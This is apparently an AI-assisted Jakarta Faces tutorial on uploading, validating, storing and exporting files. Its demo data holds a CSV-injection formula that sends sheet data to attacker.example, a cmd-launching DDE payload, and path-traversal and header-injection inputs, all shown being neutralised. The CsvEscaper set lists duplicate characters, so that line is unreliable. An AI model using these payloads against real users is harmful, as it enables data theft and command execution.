File Upload and Download
|
This content was generated with the assistance of AI and should be verified against the official documentation before being relied on in production. The reference material consulted while preparing these pages is listed in the section bibliography. |
This page is written against Jakarta Faces 4.1 (API jakarta.faces-api 4.1.2, part of Jakarta EE 11) with Jakarta
Servlet 6.1, Eclipse Mojarra 4.1.17 and Apache MyFaces Core 4.1.4, with Java 17 or later (the examples were compiled with
--release 21). Faces 4.0 behaves the same for everything below. The upload and download code in this page was run for
real: it was deployed as an exploded Bookshelf WAR on Tomcat 11.0.26 with Weld 6.0.4.Final, once with Mojarra and once
with MyFaces, and driven with curl (multipart requests built by hand), so the messages, status codes and headers shown
are what came back (checked on 2026-10-08). Anything not run is said so in the text.
Files travel in two directions. In an upload the browser sends a file chosen by the user inside a form, and Faces hands
the application a jakarta.servlet.http.Part. In a download the application writes the bytes of a file (a CSV export,
a stored cover image) straight into the HTTP response and tells Faces not to render a view. Both are thin layers over the
Servlet API, and both are security-sensitive because the bytes, the file name and the declared content type come from or
go to somewhere you do not control. The Bookshelf uses them for cover images and for a catalogue export.
How an Upload Reaches Your Bean
A browser uploads a file only inside a form whose enctype is multipart/form-data. The request body then has one
part per field, and a file field carries a file name and a content type next to its bytes. Faces does not parse that
body itself. It relies on the servlet container:
-
jakarta.faces.webapp.FacesServletmust be annotated withjakarta.servlet.annotation.MultipartConfig; the API documentation states this so that the container handles multipart form data correctly. The annotation (or amultipart-configelement inweb.xml, see Multipart Limits) is what makesHttpServletRequest.getParts()work. -
The standard HTML render kit’s renderer for
h:inputFile(renderer typejakarta.faces.File) decodes a request by callinggetParts()on theHttpServletRequest, keeping the parts whose name equals the component’s client id, and setting them as the component’s submitted value: a singlePart, or a collection of parts whenmultipleis true. The VDL documentation says that an exception thrown while using the multipart API is wrapped in aFacesExceptionand reaches theExceptionHandler.
Source: Jakarta Faces 4.1 VDL: h:inputFile and API: FacesServlet
In lifecycle terms (see Request Processing Lifecycle): Apply Request Values stores the parts
as the submitted value, Process Validations runs the converter and every validator on the Part, Update Model Values
puts it into your bean property and Invoke Application runs your action. An upload is therefore an ordinary input
component. It supports required, requiredMessage, validator, converter, immediate, rendered and
valueChangeListener, and a failed validator stops the model update and the action exactly as for a text field.
The h:inputFile Component
h:inputFile (component type jakarta.faces.HtmlInputFile, introduced in JSF 2.2) renders
<input type="file">. The attributes below are the ones the 4.1 VDL documentation lists that matter for an upload:
| Attribute | Meaning |
|---|---|
|
Where the file goes: a |
|
Added in Faces 4.0. When true, the browser’s file dialog lets the user select several files (not folders) and the renderer emits |
|
Added in Faces 4.0. A comma-separated list of MIME types that filters the browser’s file dialog, for example |
|
Rejects a submission with no file. Since Faces 4.0 parts with an empty file name or a size of zero are filtered out of the submitted value, so "no file chosen" really counts as empty (observed: a request carrying a zero-byte file produced the required message on both Mojarra and MyFaces). |
|
The usual hooks; the value they receive is the |
|
As on other input components. |
Three rules follow from the documentation and were observed:
-
The enclosing
h:formmust declareenctype="multipart/form-data". Without it the browser sends only the file name, not the bytes. In every project stage exceptProductionthe renderer checks this and adds aFacesMessage; on Mojarra the message read "File upload component requires a form with an enctype of multipart/form-data" (not run on MyFaces). InProductionthe check is skipped, so the mistake becomes a silent failure there. -
The component renders no
valueattribute: a file input can never be pre-filled, and after a validation failure the user must choose the file again. -
A
Partbelongs to the request. Read it during the request (in the action or in a validator) and do not keep it in a session or view-scoped bean: the container is free to discard the temporary storage behind it when the request ends.
Example: Uploading a Cover Image
The Bookshelf lets an editor attach a cover to a book. The view has one file input, restricts the dialog to PNG and JPEG and attaches a validator:
<h:form id="up" enctype="multipart/form-data">
<h:outputLabel for="cover" value="Cover"/>
<h:inputFile id="cover" value="#{coverUploadBean.cover}" accept="image/png,image/jpeg"
required="true" requiredMessage="Choose a cover.">
<f:validator validatorId="bookshelf.coverFile"/>
</h:inputFile>
<h:commandButton id="upload" value="Upload" action="#{coverUploadBean.save}"/>
</h:form>
<h:messages id="msgs"/>
The bean receives the Part, copies its bytes to the store and reports the result:
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.servlet.http.Part;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import org.example.bookshelf.service.CoverStore;
@Named
@RequestScoped
public class CoverUploadBean {
@Inject
private CoverStore store;
@Inject
private FacesContext facesContext;
private Part cover;
private List<Part> extras;
public String save() throws IOException {
String extension = CoverFileValidator.detectExtension(cover);
String id;
try (InputStream in = cover.getInputStream()) {
id = store.save(in, extension);
}
facesContext.addMessage(null, new FacesMessage("Saved " + cover.getSize() + " bytes as " + id));
return null;
}
public String saveExtras() {
// each Part: getSubmittedFileName() is client data, getSize() and getContentType() too
for (Part p : extras) {
facesContext.addMessage(null, new FacesMessage("extra: " + p.getSubmittedFileName() + " " + p.getSize()));
}
return null;
}
public Part getCover() { return cover; }
public void setCover(Part cover) { this.cover = cover; }
public List<Part> getExtras() { return extras; }
public void setExtras(List<Part> extras) { this.extras = extras; }
}
The validator is where the rules live. Because accept is only a hint to the browser, the server decides what a cover
is. It checks the size reported by the container and then the first bytes of the file (its signature) instead of trusting
the declared Content-Type:
package org.example.bookshelf.web;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.component.UIComponent;
import jakarta.faces.context.FacesContext;
import jakarta.faces.validator.FacesValidator;
import jakarta.faces.validator.Validator;
import jakarta.faces.validator.ValidatorException;
import jakarta.servlet.http.Part;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;
/** Checks size and real content type of an uploaded cover; does not trust the browser's Content-Type. */
@FacesValidator("bookshelf.coverFile")
public class CoverFileValidator implements Validator<Part> {
static final long MAX_BYTES = 2 * 1024 * 1024;
private static final byte[] PNG = {(byte) 0x89, 'P', 'N', 'G'};
private static final byte[] JPEG = {(byte) 0xFF, (byte) 0xD8, (byte) 0xFF};
@Override
public void validate(FacesContext context, UIComponent component, Part part) {
if (part == null) {
return; // leave the "nothing chosen" case to required="true"
}
if (part.getSize() > MAX_BYTES) {
throw fail("The cover must be at most 2 MB.");
}
if (detectExtension(part) == null) {
throw fail("The cover must be a PNG or JPEG image.");
}
}
/** Returns "png", "jpg" or null by reading the first bytes of the file. */
static String detectExtension(Part part) {
try (InputStream in = part.getInputStream()) {
byte[] head = in.readNBytes(4);
if (head.length >= 4 && Arrays.equals(Arrays.copyOf(head, 4), PNG)) {
return "png";
}
if (head.length >= 3 && Arrays.equals(Arrays.copyOf(head, 3), JPEG)) {
return "jpg";
}
return null;
} catch (IOException e) {
return null;
}
}
private static ValidatorException fail(String text) {
return new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, text, text));
}
}
The store writes under a generated name in a directory outside the web application, and later only resolves ids that match the exact shape it generates (the reason is explained in Storing Uploads Safely):
package org.example.bookshelf.service;
import jakarta.enterprise.context.ApplicationScoped;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Optional;
import java.util.UUID;
import java.util.regex.Pattern;
/** Keeps uploaded covers in a directory outside the web application; file names are generated, never user-supplied. */
@ApplicationScoped
public class CoverStore {
private static final Pattern ID = Pattern.compile("[0-9a-f]{32}\\.(png|jpg)");
private final Path directory = Path.of(System.getProperty("bookshelf.covers.dir",
System.getProperty("java.io.tmpdir") + "/bookshelf-covers"));
public String save(InputStream in, String extension) throws IOException {
Files.createDirectories(directory);
String id = UUID.randomUUID().toString().replace("-", "") + "." + extension;
Files.copy(in, directory.resolve(id));
return id;
}
/** Resolves an id received from a request; anything that is not an id this class generated is rejected. */
public Optional<Path> find(String id) {
if (id == null || !ID.matcher(id).matches()) {
return Optional.empty();
}
Path file = directory.resolve(id);
return Files.isRegularFile(file) ? Optional.of(file) : Optional.empty();
}
}
The same view was exercised with five multipart requests. Both Mojarra and MyFaces gave the same result for every one:
| Request | Result |
|---|---|
a PNG of 19 bytes named |
Message "Saved 19 bytes as" followed by a 32-hex-digit generated name ending in |
a PNG whose name is |
Saved under a new generated name; the submitted name was ignored. |
a file named |
"The cover must be a PNG or JPEG image."; nothing stored. |
a file of 3 000 000 bytes starting with the PNG signature |
"The cover must be at most 2 MB." (no multipart limit was configured for this run, see Multipart Limits). |
a zero-byte file |
"Choose a cover." (the |
Several Files at Once
With multiple="true" the value is a list of parts. The bean below only reports what the container knows about each
part; this is also the quickest way to see which of the values are client-controlled:
<h:form id="multi" enctype="multipart/form-data">
<h:inputFile id="extras" value="#{coverUploadBean.extras}" multiple="true"/>
<h:commandButton id="send" value="Send" action="#{coverUploadBean.saveExtras}"/>
</h:form>
private List<Part> extras;
public String saveExtras() {
for (Part p : extras) {
facesContext.addMessage(null, new FacesMessage("extra: " + p.getSubmittedFileName() + " " + p.getSize()));
}
return null;
}
Source: BalusC: What’s new in Faces 4.0? (the multiple and accept additions) and Jakarta Faces 4.1 VDL: h:inputFile
Sending three files, one of them with a zero length and one named ../../a.png, produced two messages on both
implementations: the zero-byte file was skipped, and the name ../../a.png came back from getSubmittedFileName()
exactly as sent. The Part methods you will use are getSubmittedFileName(), getContentType(), getSize(),
getInputStream() (it can be called more than once in the scratch run: the validator read the first bytes and the action
read the whole file), write(String) and delete(). Treat the first two as untrusted text.
Source: Servlet 6.1 API: Part
Multipart Limits
The specification requires FacesServlet to carry @MultipartConfig, so Faces itself sets no limit. On Tomcat 11 with
that annotation and no other configuration, a 3 MB upload reached the validator, so the default is "unlimited" and the
size check in your validator runs after the whole file has been received. To make the container reject oversized
requests early, declare the servlet in web.xml (see Declaring the FacesServlet in web.xml) and add a multipart-config element, which takes the place of the
annotation’s values:
<servlet>
<servlet-name>facesServlet</servlet-name>
<servlet-class>jakarta.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
<multipart-config>
<max-file-size>2097152</max-file-size>
<max-request-size>4194304</max-request-size>
<file-size-threshold>262144</file-size-threshold>
</multipart-config>
</servlet>
<servlet-mapping>
<servlet-name>facesServlet</servlet-name>
<url-pattern>*.xhtml</url-pattern>
</servlet-mapping>
Source: Servlet 6.1 API: MultipartConfig and Jakarta Faces 4.1 specification, 11.1.1 Servlet Definition
The elements correspond to the annotation’s maxFileSize, maxRequestSize, fileSizeThreshold (the size after which
a part is written to disk) and location (the directory for those files). What happens when a limit is exceeded is a
container matter, not a Faces one. On Tomcat 11, with the configuration above and either implementation, a 2.2 MB file was
answered with HTTP 413 (Payload Too Large) and Tomcat’s own error page naming FileSizeLimitExceededException. The
request never reached the lifecycle, so there is no FacesMessage and the user sees the container’s page. A 2 000 000
byte file passed. Design for this: keep your own validator for the friendly message on files within the hard limit, set the
hard limit a little higher than the largest legal file, and expect other containers to report the failure differently
(not run on them).
Validating Uploads
The browser’s accept filter, the file extension and the declared content type all come from the client, so none of them
proves anything. A server-side check has these layers, in the order the validator above applies them:
-
Size.
Part.getSize()for the message, plus the container limit of Multipart Limits as the hard stop. -
Type by content. Read the first bytes and compare them with the signature of each allowed format (PNG starts with
89 50 4E 47, JPEG withFF D8 FF). The OWASP File Upload Cheat Sheet treats extension, content type and file signature as separate checks: the content type is supplied by the user and cannot be trusted, and a signature check should not be used on its own because bypassing it is common. The validator above is therefore a floor, not a guarantee. -
Name. Never use the submitted name as a path. OWASP’s advice is a random name such as a UUID; show the submitted name, if at all, as escaped text.
-
Content. A signature proves only the start of the file. If the file is processed (an image resized, a document parsed) do that with a library that is kept patched and a hard limit on memory and dimensions.
accept is not enforced on the server, as the VDL says. BalusC’s note on the 4.0 release recommends a custom validator
that compares the file against ExternalContext.getMimeType(), which maps a file name to a MIME type using the servlet
context. OmniFaces ships an o:inputFile component that extends h:inputFile with directory and maxsize
attributes and server-side validation of accept and maxsize (see the OmniFaces page of this section). A custom Bean Validation
constraint whose ConstraintValidator receives the Part could do the same job; the mechanism for writing one is on the
Bean Validation page, but this page did not run such a constraint on a Part.
Storing Uploads Safely
-
Generate the stored name. The scratch run shows why: on Tomcat
getSubmittedFileName()returned../../a.pngunchanged, and the Servlet API gives no promise that it is a bare file name (browsers differ in whether they send a path). A name used inPath.resolve(...)orPart.write(...)is a path traversal waiting to happen. The store above uses a random UUID and an extension chosen from the detected type, never from the request. -
Keep files outside the web root. A file under the application directory can be requested directly, and a file named
x.xhtmlthere could even be executed as a view. The directory in the example is configured with a system property and defaults to a folder in the temporary directory. -
Resolve ids strictly. The download side receives an id from a request parameter.
CoverStore.findaccepts only[0-9a-f]{32}\.(png|jpg), so../../etc/passwdis rejected before any path is built (checked: the request got a 404). -
Do not serve uploads from your origin as active content. The next section sends
X-Content-Type-Options: nosniffand a type taken from the stored extension. An uploaded HTML or SVG file served as a page would run its script with your site’s cookies. -
Authorise the read. The example returns any stored id to anyone who knows it. A real application checks that the current user may see that book’s cover.
Streaming a Download with ExternalContext
A download does not go through a Facelets view: the application takes over the response, writes bytes and calls
FacesContext.responseComplete() so that the lifecycle skips Render Response. The pieces are all on
jakarta.faces.context.ExternalContext:
| Method | Use |
|---|---|
|
Clears the buffer and headers set so far; call it first. |
|
The MIME type ( |
|
|
|
The size in bytes when known (4.1 API also has the |
|
The bytes or characters sink. Closing it, or the try-with-resources block ending, flushes it. |
|
MIME type for a file name from the servlet context; the cover download used it and got |
|
For "not found" and similar. |
Two request styles fit. A POST from a command button suits an export that is the result of what the user just chose.
A GET suits a resource with an address, such as a stored cover; there a f:viewAction in a view with only metadata can
stream the file. Both are shown below:
<h:form id="exp">
<h:commandButton id="csv" value="Export CSV" action="#{exportBean.downloadCsv}"/>
</h:form>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:f="jakarta.faces.core">
<f:metadata>
<f:viewParam name="id" value="#{exportBean.id}"/>
<f:viewAction action="#{exportBean.sendCover}"/>
</f:metadata>
</html>
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.context.ExternalContext;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Writer;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.CsvEscaper;
@Named
@RequestScoped
public class ExportBean {
public record Row(String title, String author, int year, double price) { }
@Inject
private FacesContext facesContext;
@Inject
private CoverStore store;
private String id;
/** Demo data: the first two titles were typed by users and are hostile. */
private List<Row> rows() {
return List.of(
new Row("=HYPERLINK(\"https://attacker.example/?d=\"&A2,\"Click me\")", "Eve", 2024, 12.5),
new Row("@SUM(1+1)*cmd|' /C calc'!A0", "Mallory", 2023, -3.0),
new Row("Dune, Part \"One\"", "Frank Herbert", 1965, 9.99));
}
public void downloadCsv() throws IOException {
ExternalContext ec = facesContext.getExternalContext();
ec.responseReset();
ec.setResponseContentType("text/csv");
ec.setResponseCharacterEncoding("UTF-8");
ec.setResponseHeader("Content-Disposition", "attachment; filename=\"books.csv\"");
try (Writer out = ec.getResponseOutputWriter()) {
out.write("title,author,year,price\r\n");
for (Row r : rows()) {
out.write(String.join(",", CsvEscaper.text(r.title()), CsvEscaper.text(r.author()),
CsvEscaper.number(r.year()), CsvEscaper.number(r.price())));
out.write("\r\n");
}
}
facesContext.responseComplete();
}
public void sendCover() throws IOException {
ExternalContext ec = facesContext.getExternalContext();
Path file = store.find(id).orElse(null);
if (file == null) {
ec.responseSendError(404, "No such cover");
} else {
ec.responseReset();
ec.setResponseContentType(ec.getMimeType(file.getFileName().toString()));
ec.setResponseContentLengthLong(Files.size(file));
ec.setResponseHeader("X-Content-Type-Options", "nosniff");
ec.setResponseHeader("Content-Disposition", "inline; filename=\"cover\"");
try (InputStream in = Files.newInputStream(file); OutputStream out = ec.getResponseOutputStream()) {
in.transferTo(out);
}
}
facesContext.responseComplete();
}
public String getId() { return id; }
public void setId(String id) { this.id = id; }
}
Source: API: ExternalContext, Jakarta Faces 4.1 specification, 2.2 Standard Request Processing Lifecycle Phases and API: FacesContext
The captured exchanges (curl, Mojarra and MyFaces identical; the CSV body is shown in CSV Export and Formula Injection):
POST /bookshelf/index.xhtml (exp:csv)
HTTP/1.1 200
Content-Disposition: attachment; filename="books.csv"
Content-Type: text/csv;charset=UTF-8
GET /bookshelf/cover.xhtml?id=<generated id>.png
HTTP/1.1 200
X-Content-Type-Options: nosniff
Content-Disposition: inline; filename="cover"
Content-Type: image/png
Content-Length: 19
GET /bookshelf/cover.xhtml?id=../../etc/passwd
HTTP/1.1 404
Points that decide whether a download works:
-
Call
responseComplete(). Without it Faces continues to Render Response. The lifecycle page shows the result when the stream is only flushed: the view’s HTML is appended to the file. In the run for this page the writer was closed by try-with-resources, so the CSV arrived intact, but Mojarra still logged a warning that it skipped setting the buffer size on a committed response. Do not rely on the stream being closed: callresponseComplete()every time. -
Use a non-Ajax request. A download is not a partial response, and the browser can only turn a navigation or a form submission into a saved file, not the body of an
XMLHttpRequest. Put the button in a form withoutf:ajax; in PrimeFaces ap:commandButtonthat downloads needsajax="false"orp:fileDownload(see the PrimeFaces files page of this section). This follows from how browsers treat Ajax responses; it was not exercised in a browser here. -
Reset first.
responseReset()discards anything buffered, including headers Faces or a filter may have added. -
A GET download must still be safe. It must not change state, and it needs the same authorisation as the page that links to it.
-
Large files. Copy with a buffer (
InputStream.transferTo) rather than loading the file into memory, and set the content length when you know it. Faces gives no help with HTTP range requests or resumable downloads; for very large files or media streaming use a plain servlet or a Jakarta REST resource next to the Faces application (not tested for this page).
Content-Disposition and the File Name
Content-Disposition: attachment asks the browser to save rather than display; inline asks it to show the content. The
file name in the header must not contain unescaped quotes or line breaks, and non-ASCII names need the extended form defined
in RFC 6266 and RFC 8187 (filename*=UTF-8''..., percent-encoded). If any part of the name comes from a user, build the
header with a helper:
static String attachment(String filename) {
String ascii = filename.replaceAll("[^\\x20-\\x7E]|[\"\\\\]", "_");
String utf8 = URLEncoder.encode(filename, UTF_8).replace("+", "%20");
return "attachment; filename=\"" + ascii + "\"; filename*=UTF-8''" + utf8;
}
Run on three names, it returned:
attachment; filename="books.csv"; filename*=UTF-8''books.csv
attachment; filename="Cat_logo de libros.csv"; filename*=UTF-8''Cat%C3%A1logo%20de%20libros.csv
attachment; filename="a_b__X-Evil: 1.csv"; filename*=UTF-8''a%22b%0D%0AX-Evil%3A%201.csv
The third name contained a quote and a CR/LF followed by a header-like text; both forms are harmless. The result was not fed to a browser here.
CSV Export and Formula Injection
A CSV file of catalogue data looks harmless, and the lifecycle page writes one with fixed data. It
becomes an attack vector as soon as a cell holds text a user typed. When Excel or LibreOffice Calc opens a CSV, a cell
that starts with = is evaluated as a formula. OWASP describes three consequences: running commands through a
vulnerability in the spreadsheet program, tricking users who ignore security warnings in downloaded spreadsheets, and
exfiltrating the contents of the sheet or of other open sheets. A book title such as the first row of the demo data below is
all it takes, because the victim is the colleague who exports the catalogue, not the attacker.
OWASP’s guidance, which this page follows, is:
-
A cell must not begin with
=,+,-,@, a tab (0x09), a carriage return (0x0D) or a line feed (0x0A); the OWASP page also lists the full-width variants of the first four, which some locales interpret as formula starts. -
It is not enough to check the start of the user’s text, because a separator or a quote inside it can begin a new cell. Therefore quote every text cell, double every
"inside it, and prefix cells that start with a dangerous character with a single quote so that the spreadsheet reads them as text. -
The page warns that these techniques are not reliable in Microsoft Excel once the file has been saved and reopened, and offers a stricter Excel-oriented variant that prefixes a tab character inside the quoted field. The tab stays in the data and can confuse later programmatic imports, so OWASP calls it best suited to files meant for human viewing. There is no universal strategy, so choose according to who consumes the file.
The helper below applies the single-quote variant. It escapes text cells and leaves numbers alone because a number written
from a double or int cannot be influenced by a user (and a legitimate -3.0 must stay a number):
package org.example.bookshelf.service;
import java.util.Set;
/** Escapes one text cell of a CSV file against RFC 4180 quoting and spreadsheet formula injection. */
public final class CsvEscaper {
private static final Set<Character> FORMULA_STARTS =
Set.of('=', '+', '-', '@', '\t', '\r', '\n', '=', '+', '-', '@');
private CsvEscaper() {
}
/** Use for every cell that holds text, in particular text typed by a user. */
public static String text(String value) {
if (value == null) {
return "";
}
String safe = value;
if (!safe.isEmpty() && FORMULA_STARTS.contains(safe.charAt(0))) {
safe = "'" + safe;
}
return '"' + safe.replace("\"", "\"\"") + '"';
}
/** Use for cells produced from a numeric type: the text cannot be influenced by a user. */
public static String number(Number value) {
return value == null ? "" : value.toString();
}
}
Run on a set of inputs, CsvEscaper.text returned:
=1+2 -> "'=1+2"
+1 -> "'+1"
-1 -> "'-1"
@x -> "'@x"
<tab>=x -> "'<tab>=x"
=1 -> "'=1"
plain -> "plain"
a=b -> "a=b"
He said "hi", ok -> "He said ""hi"", ok"
(empty) -> ""
Source: the output of CsvEscaper run in the scratch Bookshelf (rules from OWASP: CSV Injection)
and the download of the demo data, with two hostile titles and one title containing a comma and quotes, was:
title,author,year,price
"'=HYPERLINK(""https://attacker.example/?d=""&A2,""Click me"")","Eve",2024,12.5
"'@SUM(1+1)*cmd|' /C calc'!A0","Mallory",2023,-3.0
"Dune, Part ""One""","Frank Herbert",1965,9.99
Source: the response body of the CSV download in the scratch Bookshelf (RFC 4180 quoting plus the OWASP rule)
Practical rules that go with the helper:
-
Escape every text cell, not just the ones that look dangerous today, and do it where the file is written, not where the data is entered; the same data feeds other consumers that want it unmodified.
-
Keep numbers and dates as numbers. If a numeric column is built from a string, escape it as text or validate it first.
-
The separator is locale-sensitive in spreadsheets (some locales expect
;). Pick one, document it, and quote text cells so a separator in the data does not matter. -
Tell the consumer. The single quote is visible when the file is read by a program, which is the price of safety.
For the full treatment of formula injection and of limits for untrusted Office files, see Security & Untrusted Files. Excel and PDF exports have a similar concern (the Django section has a parallel treatment of CSV injection in Django page on streaming and CSV responses). Apache POI’s Cell interface has a separate setCellFormula(String)
method next to the setCellValue(...) family, so text goes in through setCellValue(String) and is stored as a string cell; the next section writes such a file and inspects it.
Streaming PDF and Excel Exports
A CSV file is text, so the CSV example above writes it with a Writer. PDF and Excel files are binary packages, and they
need the same Faces mechanism as the CSV file: take over the response, write the bytes to getResponseOutputStream() and call
responseComplete(). The libraries are not part of Jakarta Faces; the example below uses Apache POI 5.5.1 (poi-ooxml)
for the .xlsx file and OpenPDF 1.4.2 (com.github.librepdf:openpdf, package com.lowagie.text) for the PDF, the same
versions PrimeFaces 16 declares for its own exporters (see Helpers in the Component Libraries). Both libraries write to an OutputStream, so the
response stream can be their target directly:
-
Excel.
SXSSFWorkbookis POI’s streaming variant: it keeps a sliding window of rows (100 here) in memory and writes the older rows to a temporary file, so a catalogue of a million rows needs a small heap.workbook.write(out)then streams the finished package into the response, and closing the workbook deletes the temporary files. -
PDF.
PdfWriter.getInstance(document, out)makes the response the target of the document;setHeaderRows(1)repeats the header row of the table on every page. The example builds onePdfPTablein memory before adding it, so for a very large report add the rows in slices; the run used three rows only. -
Content length. The size is not known before the file is finished, so no
Content-Lengthis set and the container answers withTransfer-Encoding: chunked(seen in the run). If the client needs a progress bar, write the file to a temporary file first, then callsetResponseContentLengthLong(Files.size(file))and copy it withtransferTo, as the cover download above does. The same detour is the way to report a failure: once the first bytes are committed the status code can no longer change, so an error half way through produces a truncated file instead of an error page. -
Formulas. Text goes in through
Cell.setCellValue(String), neversetCellFormula. In the run the first title was=HYPERLINK(...); the sheet XML stored it as an inline string (t="inlineStr") and contained no<f>element, so the spreadsheet application reads it as text (the file was inspected, not opened in Excel). A PDF has no formula concept.
package org.example.bookshelf.web;
import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.Element;
import com.lowagie.text.Font;
import com.lowagie.text.FontFactory;
import com.lowagie.text.PageSize;
import com.lowagie.text.Paragraph;
import com.lowagie.text.Phrase;
import com.lowagie.text.pdf.PdfPCell;
import com.lowagie.text.pdf.PdfPTable;
import com.lowagie.text.pdf.PdfWriter;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.context.ExternalContext;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.OutputStream;
import java.util.List;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.xssf.streaming.SXSSFWorkbook;
@Named
@RequestScoped
public class BookReportBean {
public record Line(String title, String author, int year, double price) { }
private static final String[] HEADERS = {"Title", "Author", "Year", "Price"};
@Inject
private FacesContext facesContext;
/** Demo data; the first title was typed by a user and starts like a spreadsheet formula. */
private List<Line> lines() {
return List.of(
new Line("=HYPERLINK(\"https://attacker.example/?d=\"&A2,\"Click me\")", "Eve", 2024, 12.5),
new Line("Dune, Part \"One\"", "Frank Herbert", 1965, 9.99),
new Line("Neuromancer", "William Gibson", 1984, 8.5));
}
public void downloadXlsx() throws IOException {
ExternalContext ec = begin("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "books.xlsx");
// Keeps 100 rows in memory and spills the rest to temporary files; write() streams the finished package.
try (SXSSFWorkbook workbook = new SXSSFWorkbook(100); OutputStream out = ec.getResponseOutputStream()) {
Sheet sheet = workbook.createSheet("Books");
Row head = sheet.createRow(0);
for (int c = 0; c < HEADERS.length; c++) {
head.createCell(c).setCellValue(HEADERS[c]);
}
int r = 1;
for (Line line : lines()) {
Row row = sheet.createRow(r++);
row.createCell(0).setCellValue(line.title()); // always a string cell, never a formula
row.createCell(1).setCellValue(line.author());
row.createCell(2).setCellValue(line.year());
row.createCell(3).setCellValue(line.price());
}
workbook.write(out);
}
facesContext.responseComplete();
}
public void downloadPdf() throws IOException {
ExternalContext ec = begin("application/pdf", "books.pdf");
Font bold = FontFactory.getFont(FontFactory.HELVETICA_BOLD, 10);
Font plain = FontFactory.getFont(FontFactory.HELVETICA, 10);
Document pdf = new Document(PageSize.A4);
try (OutputStream out = ec.getResponseOutputStream()) {
PdfWriter.getInstance(pdf, out);
pdf.open();
pdf.add(new Paragraph("Bookshelf catalogue", FontFactory.getFont(FontFactory.HELVETICA_BOLD, 16)));
PdfPTable table = new PdfPTable(new float[] {5, 3, 1, 1});
table.setWidthPercentage(100);
table.setSpacingBefore(12);
table.setHeaderRows(1); // repeated on every page
for (String header : HEADERS) {
table.addCell(new Phrase(header, bold));
}
for (Line line : lines()) {
table.addCell(new Phrase(line.title(), plain));
table.addCell(new Phrase(line.author(), plain));
table.addCell(right(Integer.toString(line.year()), plain));
table.addCell(right(String.format("%.2f", line.price()), plain));
}
pdf.add(table);
pdf.close();
} catch (DocumentException e) {
throw new IOException("Could not write the PDF", e);
}
facesContext.responseComplete();
}
private static PdfPCell right(String text, Font font) {
PdfPCell cell = new PdfPCell(new Phrase(text, font));
cell.setHorizontalAlignment(Element.ALIGN_RIGHT);
return cell;
}
private ExternalContext begin(String contentType, String fileName) {
ExternalContext ec = facesContext.getExternalContext();
ec.responseReset();
ec.setResponseContentType(contentType);
ec.setResponseHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
ec.setResponseHeader("X-Content-Type-Options", "nosniff");
return ec;
}
}
<h:form id="rep">
<h:commandButton id="xlsx" value="Excel" action="#{bookReportBean.downloadXlsx}"/>
<h:commandButton id="pdf" value="PDF" action="#{bookReportBean.downloadPdf}"/>
</h:form>
Posting each button to a scratch Bookshelf on Tomcat 11.0.26 with Weld and Mojarra 4.1.17 (the form post built by hand with
curl) answered 200 with Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
and application/pdf respectively, Content-Disposition: attachment; filename="books.xlsx" (and books.pdf),
Transfer-Encoding: chunked, a 3.5 KB package that unzipped as an OOXML workbook with four rows, and a one-page PDF 1.5
file. No unhandled exception was logged. MyFaces was not run for this example.
Helpers in the Component Libraries
-
OmniFaces provides
Faces.sendFile(File, boolean)and variants taking abyte[]or anInputStream, plus a lambda that writes the output, with the boolean selecting attachment or inline; it wraps the steps of the Streaming a Download with ExternalContext section (see also the OmniFaces page).o:inputFileis described in Validating Uploads. -
PrimeFaces offers
p:fileUpload(with a progress bar, drag and drop and an Ajax mode) andp:fileDownload, and a data exporter for tables; they are covered on the PrimeFaces files page and the PrimeFaces data components page of this section. The same escaping rules apply to any exported cell that contains user text. The check was made there: the PrimeFaces 16.0.0 CSV exporter writes cells that start with=,@or-verbatim, so it does not neutralise formulas, while itsxlsxoutput stores every cell as a string; the PrimeFaces page shows how to replace the CSV exporter with one that applies the escaping of this page.
Mojarra and MyFaces
For everything on this page the two implementations behaved the same: validation messages, the multipart limit (the 413 comes
from Tomcat), the skipping of empty files, the headers of both downloads and the CSV bytes. One difference is not about
files but matters when you script a test: MyFaces renders a hidden <formId>_SUBMIT field in every form and, in the scratch
run, ignored a command request that did not send it, so a hand-written curl post must include that field (a real
browser form sends it). Mojarra did not need it.
What Changed
-
JSF 2.2:
h:inputFileappears. Before it the specification had no standard upload component. -
Faces 4.0:
multipleandacceptare added toh:inputFile, and empty files (empty name or zero size) are skipped from the submitted value so thatrequiredworks without extra checks in the bean. -
Faces 4.1: the 4.1 changes listed by BalusC do not mention the upload component, and nothing in this page differs from 4.0.
-
Servlet: the upload API (
Part,@MultipartConfig) is part of Servlet 3.0 and later; thejakarta.servletpackage name is used since Servlet 5.0 (Jakarta EE 9).
Where the Books Are Outdated
JSF 2.0 Cookbook by Anghel Leonard (Packt, 2010) has upload and download recipes written when the standard had no upload component, so they use the file-upload components of Tomahawk and RichFaces. In the book’s concept list this covers file upload and download and export to PDF and Excel. Compare that with what exists now:
-
A standard component exists.
h:inputFilehas been part of Faces since 2.2 and needs no extra library and no request filter. The older approach of a servlet filter that parsed the multipart body (commonly with Apache Commons FileUpload) is obsolete, because the container parses it through@MultipartConfig. -
Tomahawk and RichFaces are not options for new work. On Maven Central the newest Tomahawk release (
